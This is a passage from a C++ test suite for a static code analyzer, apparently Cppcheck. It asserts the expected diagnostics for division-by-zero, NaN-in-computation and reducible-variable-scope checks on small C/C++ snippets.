ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (float)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (int)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv2() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int sum = 0;\\n\"\n \" for(int i = 0; i < n; i ++)\\n\"\n \" {\\n\"\n \" sum += i;\\n\"\n \" }\\n\"\n \" cout< do not warn\n check(\"void f() {\\n\"\n \" int a = x/2*3/0;\\n\"\n \" int b = y/2*3%0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x, int y) {\\n\"\n \" int a = x/2*3/0;\\n\"\n \" int b = y/2*3%0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (error) Division by zero. [zerodiv]\\n\"\n \"[test.cpp:3:16]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv8() {\n // #5584 - FP when function is unknown\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do_something(a);\\n\"\n \" return 4 / a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (error, inconclusive) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv9() {\n // #6403 FP zerodiv - inside protecting if-clause\n check(\"void foo() {\\n\"\n \" double fStepHelp = 0;\\n\"\n \" if( (rOuterValue >>= fStepHelp) ) {\\n\"\n \" if( fStepHelp != 0.0) {\\n\"\n \" double fStepMain = 1;\\n\"\n \" sal_Int32 nIntervalCount = static_cast< sal_Int32 >(fStepMain / fStepHelp);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv10() {\n // #5402 false positive: (error) Division by zero -- with boost::format\n check(\"int main() {\\n\"\n \" std::cout\\n\"\n \" << boost::format(\\\" %d :: %s <> %s\\\") % 0 % \\\"a\\\" % \\\"b\\\"\\n\"\n \" << std::endl;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv11() {\n check(\"void f(int a) {\\n\"\n \" int res = (a+2)/0;\\n\"\n \" int res = (a*2)/0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (error) Division by zero. [zerodiv]\\n\"\n \"[test.cpp:3:18]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n check(\"void f() {\\n\"\n \" int res = (a+2)/0;\\n\"\n \" int res = (a*2)/0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv12() {\n // #8141\n check(\"intmax_t f() {\\n\"\n \" return 1 / imaxabs(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n void zeroDiv13() {\n // #7324\n check(\"int f () {\\n\"\n \" int dividend = 10;\\n\"\n \" int divisor = 1;\\n\"\n \" dividend = dividend / (--divisor);\\n\"\n \" return dividend;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv14() {\n check(\"void f() {\\n\" // #1169\n \" double dx = 1.;\\n\"\n \" int ix = 1;\\n\"\n \" int i = 1;\\n\"\n \" std::cout << ix / (i >> 1) << std::endl;\\n\"\n \" std::cout << dx / (i >> 1) << std::endl;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:21]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv15() { // #8319\n check(\"int f(int i) { return i - 1; }\\n\"\n \"int f() {\\n\"\n \" const int d = 1;\\n\"\n \" const int r = 1 / f(d);\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:21]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n // #11158\n void zeroDiv16()\n {\n check(\"int f(int i) {\\n\"\n \" int number = 10, a = 0;\\n\"\n \" for (int count = 0; count < 2; count++) {\\n\"\n \" a += (i / number) % 10;\\n\"\n \" number = number / 10;\\n\"\n \" }\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" int number = 10, a = 0;\\n\"\n \" for (int count = 0; count < 2; count++) {\\n\"\n \" int x = number / 10;\\n\"\n \" a += (i / number) % 10;\\n\"\n \" number = x;\\n\"\n \" }\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv17() { // #9931\n check(\"int f(int len) {\\n\"\n \" int sz = sizeof(void*[255]) / 255;\\n\"\n \" int x = len % sz;\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv18()\n {\n check(\"int f(int x, int y) {\\n\"\n \" if (x == y) {}\\n\"\n \" return 1 / (x-y);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:11] -> [test.cpp:3:14]: (warning) Either the condition 'x==y' is redundant or there is division by zero at line 3. [zerodivcond]\\n\",\n errout_str());\n }\n\n void zeroDiv19()\n {\n check(\"void f() {\\n\" // #2456\n \" for (int i = 0;;)\\n\"\n \" int j = 10 / i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv20()\n {\n check(\"uint16_t f(void)\\n\" // #11175\n \"{\\n\"\n \" uint16_t x = 0xFFFFU;\\n\" // UINT16_MAX=0xFFFF\n \" return 42/(++x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv21()\n {\n check(\"int f(int n) {\\n\"\n \" return 1 / ((1 / n) - 1);\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f(1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv22()\n {\n check(\"int main() {\\n\"\n \" return _Generic((0), int: (42) / (0), default: 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:36]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDivCond() {\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x>0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x >= 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x>=1' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x==0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x!=0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n // function call\n check(\"void f1(int x, int y) { c=x/y; }\\n\"\n \"void f2(unsigned int y) {\\n\"\n \" f1(123,y);\\n\"\n \" if (y>0){}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:10] -> [test.cpp:1:28]: (warning) Either the condition 'y>0' is redundant or there is division by zero at line 1. [zerodivcond]\\n\",\n errout_str());\n\n // avoid false positives when variable is changed after division\n check(\"void f() {\\n\"\n \" unsigned int x = do_something();\\n\"\n \" int y = 17 / x;\\n\"\n \" x = some+calculation;\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n // function is called that might modify global variable\n check(\"void do_something();\\n\"\n \"int x;\\n\"\n \"void f() {\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something();\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // function is called. but don't care, variable is local\n check(\"void do_something();\\n\"\n \"void f() {\\n\"\n \" int x = some + calculation;\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something();\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9] -> [test.cpp:4:14]: (warning) Either the condition 'x!=0' is redundant or there is division by zero at line 4. [zerodivcond]\\n\", errout_str());\n }\n\n check(\"void do_something(int value);\\n\"\n \"void f(int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int x;\\n\"\n \"void f() {\\n\"\n \" int y = 17 / x;\\n\"\n \" while (y || x == 0) { x--; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket 5033 segmentation fault (valid code) in CheckOther::checkZeroDivisionOrUselessCondition\n check(\"void f() {\\n\"\n \"double* p1= new double[1];\\n\"\n \"double* p2= new double[1];\\n\"\n \"double* p3= new double[1];\\n\"\n \"double* pp[3] = {p1,p2,p3};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5105 - FP\n check(\"int f(int a, int b) {\\n\"\n \" int r = a / b;\\n\"\n \" if (func(b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown types for b and c --> do not warn\n check(\"int f(int d) {\\n\"\n \" int r = (a?b:c) / d;\\n\"\n \" if (d == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a) {\\n\"\n \" int r = a ? 1 / a : 0;\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a) {\\n\"\n \" int r = (a == 0) ? 0 : 1 / a;\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g();\\n\"\n \"void f(int b) {\\n\"\n \" int x = g();\\n\"\n \" if (x == 0) {}\\n\"\n \" else if (x > 0) {}\\n\"\n \" else\\n\"\n \" a = b / -x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"int f(A* a) {\\n\"\n \" if (a->x == 0) \\n\"\n \" a->x = 1;\\n\"\n \" return 1/a->x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10049\n check(\"int f(int argc) {\\n\"\n \" int quotient, remainder;\\n\"\n \" remainder = argc % 2;\\n\"\n \" argc = 2;\\n\"\n \" quotient = argc;\\n\"\n \" if (quotient != 0) \\n\"\n \" return quotient;\\n\"\n \" return remainder;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11315\n checkP(\"#define STATIC_ASSERT(c) \\\\\\n\"\n \"do { enum { sa = 1/(int)(!!(c)) }; } while (0)\\n\"\n \"void f() {\\n\"\n \" STATIC_ASSERT(sizeof(int) == sizeof(FOO));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11505\n check(\"void f(uint16_t num, uint8_t radix) {\\n\"\n \" int c = num % radix;\\n\"\n \" num /= radix;\\n\"\n \" if (!num) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nanInArithmeticExpression() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0 + 1.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0 - 1.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 1.0 + 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 1.0 - 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void varScope1() {\n check(\"unsigned short foo()\\n\"\n \"{\\n\"\n \" test_client CClient;\\n\"\n \" try\\n\"\n \" {\\n\"\n \" if (CClient.Open())\\n\"\n \" {\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"\\n\"\n \" try\\n\"\n \" {\\n\"\n \" CClient.Close();\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"\\n\"\n \" return 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope2() {\n check(\"int foo()\\n\"\n \"{\\n\"\n \" Error e;\\n\"\n \" e.SetValue(12);\\n\"\n \" throw e;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope3() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" int *p = 0;\\n\"\n \" if (abc)\\n\"\n \" {\\n\"\n \" p = &i;\\n\"\n \" }\\n\"\n \" *p = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope4() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope5() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = 0;\\n\"\n \" if (x) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const unsigned char i = 0;\\n\"\n \" if (x) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = 0;\\n\"\n \" if (x) {b()}\\n\"\n \" else {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope6() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = x;\\n\"\n \" if (a) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \" if (b) {\\n\"\n \" c(i);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #5398\n \" bool success = false;\\n\"\n \" int notReducable(someClass.getX(&success));\\n\"\n \" if (success) {\\n\"\n \" foo(notReducable);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Test &test) {\\n\"\n \" int& x = test.getData();\\n\"\n \" if (test.process())\\n\"\n \" x = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \"int foo = 0;\\n\"\n \"std::vector vec(10);\\n\"\n \"BOOST_FOREACH(int& i, vec)\\n\"\n \"{\\n\"\n \" foo += 1;\\n\"\n \" if(foo == 10)\\n\"\n \" {\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int &x)\\n\"\n \"{\\n\"\n \" int n = 1;\\n\"\n \" do\\n\"\n \" {\\n\"\n \" ++n;\\n\"\n \" ++x;\\n\"\n \" } while (x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope7() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int y = 0;\\n\"\n \" b(y);\\n\"\n \" if (x) {\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope8() {\n check(\"void test() {\\n\"\n \" float edgeResistance=1;\\n\"\n \" std::vector edges;\\n\"\n \" BOOST_FOREACH(int edge, edges) {\\n\"\n \" edgeResistance = (edge+1) / 2.0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'edgeResistance' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope9() {\n // classes may have extra side effects\n check(\"class fred {\\n\"\n \"public:\\n\"\n \" void x();\\n\"\n \"};\\n\"\n \"void test(int a) {\\n\"\n \" fred f;\\n\"\n \" if (a == 2) {\\n\"\n \" f.x();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope10() {\n check(\"int f()\\n\"\n \"{\\n\"\n \" int x = 0;\\n\"\n \" FOR {\\n\"\n \" foo(x++);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope11() {\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" AB ab = { x, 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a == 0) { ++x; }\\n\"\n \" AB ab = { x, 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a == 0) { ++x; }\\n\"\n \" if (a == 1) { AB ab = { x, 0 }; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope12() {\n check(\"void f(int x) {\\n\"\n \" int i[5];\\n\"\n \" int* j = y;\\n\"\n \" if (x)\\n\"\n \" foo(i);\\n\"\n \" foo(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int i[5];\\n\"\n \" int* j;\\n\"\n \" if (x)\\n\"\n \" j = i;\\n\"\n \" foo(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const bool b = true;\\n\"\n \" x++;\\n\"\n \" if (x == 5)\\n\"\n \" foo(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const bool b = x;\\n\"\n \" x++;\\n\"\n \" if (x == 5)\\n\"\n \" foo(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope13() {\n // #2770\n check(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" forever {\\n\"\n \" if (i++ == 42) { break; }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope14() {\n // #3941\n check(\"void f() {\\n\"\n \" const int i( foo());\\n\"\n \" if(a) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope15() {\n // #4573\n check(\"void f() {\\n\"\n \" int a,b,c;\\n\"\n \" if (a);\\n\"\n \" else if(b);\\n\"\n \" else if(c);\\n\"\n \" else;\\n\"\n \"}\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope16() {\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" while((++a) < 56) {\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" foo();\\n\"\n \" } while((++a) < 56);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" a = 64;\\n\"\n \" foo(a);\\n\"\n \" } while((++a) < 56);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" a = 64;\\n\"\n \" foo(a);\\n\"\n \" } while(z());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'a' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope17() {\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (a) {\\n\"\n \" x = stuff(x);\\n\"\n \" morestuff(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (a) {\\n\"\n \" x = stuff(x);\\n\"\n \" morestuff(x);\\n\"\n \" }\\n\"\n \" if (b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope18() {\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (c) {\\n\"\n \" x = foo();\\n\"\n \" do_something(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" x = 10;\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (c) {\\n\"\n \" x = foo();\\n\"\n \" do_something(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" if(c)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" if(c)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" if(d)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope20() { // Ticket #5103 - constant variable only used in inner scope\n check(\"int f(int a) {\\n\"\n \" const int x = 234;\\n\"\n \" int b = a;\\n\"\n \" if (b > 32) b = x;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope21() { // Ticket #5382 - initializing two-dimensional array\n check(\"int test() {\\n\"\n \" int test_value = 3;\\n\"\n \" int test_array[1][1] = { { test_value } };\\n\"\n \" return sizeof(test_array);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope22() { // Ticket #5684 - \"The scope of the variable 'p' can be reduced\" - But it can not.\n check(\"void foo() {\\n\"\n \" int* p( 42 );\\n\"\n \" int i = 0;\\n\"\n \" while ( i != 100 ) {\\n\"\n \" *p = i;\\n\"\n \" ++p;\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n // try to avoid an obvious false negative after applying the fix for the example above:\n check(\"void foo() {\\n\"\n \" int* p( 42 );\\n\"\n \" int i = 0;\\n\"\n \" int dummy = 0;\\n\"\n \" while ( i != 100 ) {\\n\"\n \" p = & dummy;\\n\"\n \" *p = i;\\n\"\n \" ++p;\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'p' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope23() { // #6154: Don't suggest to reduce scope if inner scope is a lambda\n check(\"int main() {\\n\"\n \" size_t myCounter = 0;\\n\"\n \" Test myTest([&](size_t aX){\\n\"\n \" std::cout << myCounter += aX << std::endl;\\n\"\n \" });\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope24() {\n check(\"void f(Foo x) {\\n\"\n \" Foo &r = x;\\n\"\n \" if (cond) {\\n\"\n \" r.dostuff();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'r' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(Foo x) {\\n\"\n \" Foo foo = x;\\n\"\n \" if (cond) {\\n\"\n \" foo.dostuff();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope25() {\n check(\"void f() {\\n\"\n \" time_t currtime;\\n\"\n \" if (a) {\\n\"\n \" currtime = time(&dummy);\\n\"\n \" if (currtime > t) {}\\n\"\n \" }\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:2:12]: (style) The scope of the variable 'currtime' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope26() {\n check(\"void f(const std::map &m) {\\n\"\n \" for (auto it : m) {\\n\"\n \" if (cond1) {\\n\"\n \" int& key = it.first;\\n\"\n \" if (cond2) { dostuff(key); }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope27() {\n checkP(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \"#ifdef X\\n\"\n \"#endif\\n\"\n \" if (id == ABC) { return x; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"void f() {\\n\"\n \"#ifdef X\\n\"\n \"#endif\\n\"\n \" int x = 0;\\n\"\n \" if (id == ABC) { return x; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope28() {\n check(\"void f() {\\n\" // #10527\n \" int i{};\\n\"\n \" if (double d = g(i); d == 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope29() { // #10888\n check(\"enum E { E0 };\\n\"\n \"struct S { int i; };\\n\"\n \"void f(int b) {\\n\"\n \" enum E e;\\n\"\n \" struct S s;\\n\"\n \" if (b) {\\n\"\n \" e = E0;\\n\"\n \" s.i = 0;\\n\"\n \" g(e, s);\\n\"\n \" }\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:4:12]: (style) The scope of the variable 'e' can be reduced. [variableScope]\\n\"\n \"[test.c:5:14]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" std::string s;\\n\"\n \" if (b) {\\n\"\n \" s = \\\"abc\\\";\\n\"\n \" g(s);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"auto foo(std::vector& vec, bool flag) {\\n\"\n \" std::vector dummy;\\n\"\n \" std::vector::iterator iter;\\n\"\n \" if (flag)\\n\"\n \" iter = vec.begin();\\n\"\n \" else {\\n\"\n \" dummy.push_back(42);\\n\"\n \" iter = dummy.begin();\\n\"\n \" }\\n\"\n \" return *iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Parameter 'vec' can be declared as reference to 